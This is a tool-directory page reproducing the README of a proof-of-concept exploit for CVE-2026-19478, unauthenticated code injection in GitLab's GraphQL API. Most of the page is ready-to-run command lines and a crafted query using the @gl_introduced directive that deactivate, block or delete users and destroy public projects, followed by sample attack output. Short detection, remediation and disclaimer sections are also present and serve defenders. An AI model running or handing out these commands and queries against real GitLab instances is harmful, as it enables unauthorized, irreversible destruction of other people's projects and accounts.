Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-19478-PoC — Proof-of-concept exploit for unauthenticated remote code injection in GitLab's GraphQL API, using crafted queries to modify or delete public projects and users. | Kitploit
Tools/GitHubGitHub/davkharrr/cve-2026-19478-poc
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingAPI Security
GitHubdavkharrr/cve-2026-19478-poc

CVE-2026-19478-PoC

Proof-of-concept exploit for unauthenticated remote code injection in GitLab's GraphQL API, using crafted queries to modify or delete public projects and users.

View Repository
116793 months agoNot yet reviewed
Share

CVE-2026-19478 PoC

Unauthenticated remote code-injection in GitLab's GraphQL layer that lets an attacker modify or delete public projects and user data with a single crafted query. No authentication, no user interaction, no special privileges.

Severity9.4 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H
CWECWE-94 (Improper Control of Generation of Code / Code Injection)
AffectedGitLab CE/EE >= 18.2, < 18.11.11 · < 19.0.8 · < 19.1.6 · < 19.2.4
Fixed18.11.11, 19.0.8, 19.1.6, 19.2.4
Disclosed2026-08-17
HackerOne3926431

TL;DR

# 1) Benign check — calls Project#touch (updates updated_at, no damage)
python3 poc.py --url https://gitlab.example.com --project group/public-project

# 2) Modify — deactivate a public user (persisted state change, reversible)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify

# 3) Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

The exploit is a fallback-field code injection: an attacker-chosen field name in a GraphQL query is turned into an arbitrary public_send call on the underlying ActiveRecord model (Project, User, ...). Because the fallback field is only created when the query also carries a "future" @gl_introduced directive, the directive is the injection primitive.


Affected versions

SeriesAffectedFixed
18.x>= 18.2, < 18.11.1118.11.11
19.0< 19.0.819.0.8
19.1< 19.1.619.1.6
19.2< 19.2.419.2.4

The script performs best-effort version detection (/api/v4/version with a token, /help, /users/sign_in) and reports whether the target falls in the affected ranges.


Detection

  • Version check: any GitLab in the affected ranges is vulnerable.
  • Behavioral check (safe): send the benign touch payload above. A vulnerable instance returns "touch": true; a patched instance returns Field 'touch' doesn't exist on type 'Project'.
  • Schema check: a vulnerable instance exposes the gl_introduced directive in the GraphQL schema (/api/graphql introspection). Patched instances may still expose it, so the behavioral check is authoritative.

Usage

python3 poc.py --url <URL> (--project <ns/proj> | --user <username>)
               [--mode check|modify|destroy|delete|custom]
               [--method NAME] [--token TOKEN] [--version X.Y.Z] [--insecure]
OptionDescription
--urlGitLab base URL, e.g. https://gitlab.example.com
--projectFull path of a public project, e.g. group/subgroup/project
--userUsername of a public user, e.g. alice
--modecheck (default, benign touch) · modify (user: deactivate, project: touch) · destroy · delete · custom
--methodMethod name for --mode custom (must be a valid GraphQL name)
--tokenOptional GitLab PRIVATE-TOKEN (version detection / auth)
--versionSkip detection, force a version string
--insecureDisable TLS certificate verification

Destructive modes (modify, destroy, delete) require an interactive yes confirmation.

Examples

# Benign check — Project#touch
python3 poc.py --url https://gitlab.example.com --project group/public-project

# Modify — deactivate a public user (reversible with activate)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify

# Modify — block a public user
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method block

# Modify — confirm a user's email (Devise confirmable)
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method confirm

# Undo a deactivation
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method activate

# Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

# Delete — delete a public user (irreversible, no callbacks)
python3 poc.py --url https://gitlab.example.com --user victim --mode delete

# Arbitrary zero-arg method
python3 poc.py --url https://gitlab.example.com --project group/public-project \
               --mode custom --method reload

# Authenticated / self-signed TLS
python3 poc.py --url https://gitlab.example.com --user victim --mode modify \
               --token <PRIVATE-TOKEN> --insecure

Expected output

Vulnerable instance

$ python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

[*] Detected GitLab version: 19.2.1-ee
[+] Version is within the affected ranges -> likely vulnerable
[!] WARNING: this mode changes data on the target (modify/destroy/delete).
    Type 'yes' to run destroy against 'group/public-project': yes
[*] Target object : group/public-project
[*] Method invoked: destroy
[*] Query:
query {
  project(fullPath: "group/public-project") {
    name
    destroy @gl_introduced(version: "999.0.0")
  }
}

[*] HTTP 200
[+] VULNERABLE: 'destroy' was invoked on the target object (response value: True).
[+] The fallback field resolved through object.public_send() -> arbitrary method invocation confirmed.

Patched instance

[*] HTTP 200
[-] Target appears PATCHED: unknown fields are rejected (no fallback field was created).

The patched response is a normal GraphQL validation error:

{ "errors": [ { "message": "Field 'destroy' doesn't exist on type 'Project'", ... } ] }

Parent not resolvable

[!] Parent object is null -> project/user not found or not visible.
    (For projects, use the full path, e.g. group/subgroup/project)

The target must be public (project visibility Public, or a user whose profile is publicly resolvable via GraphQL). If the parent is null, the method is never called.


Remediation

  • Upgrade to GitLab 18.11.11, 19.0.8, 19.1.6 or 19.2.4 (or later).
  • Until patched: restrict network access to /api/graphql, or disable the @gl_introduced version-filter feature if it is not needed.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2026-19478
  • https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-2-4-released/
  • https://gitlab.com/gitlab-org/gitlab/-/work_items/611377
  • https://hackerone.com/reports/3926431
  • Fix commit: e283c6ad "Prevent calling object method when resolving fallback field"

This PoC is provided for defensive security research and authorized testing only. Do not run it against systems you do not own or lack explicit permission to test.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    867
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    544
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    385
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    302
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    279

Explore all tools

Browse our collection of tools

View all tools →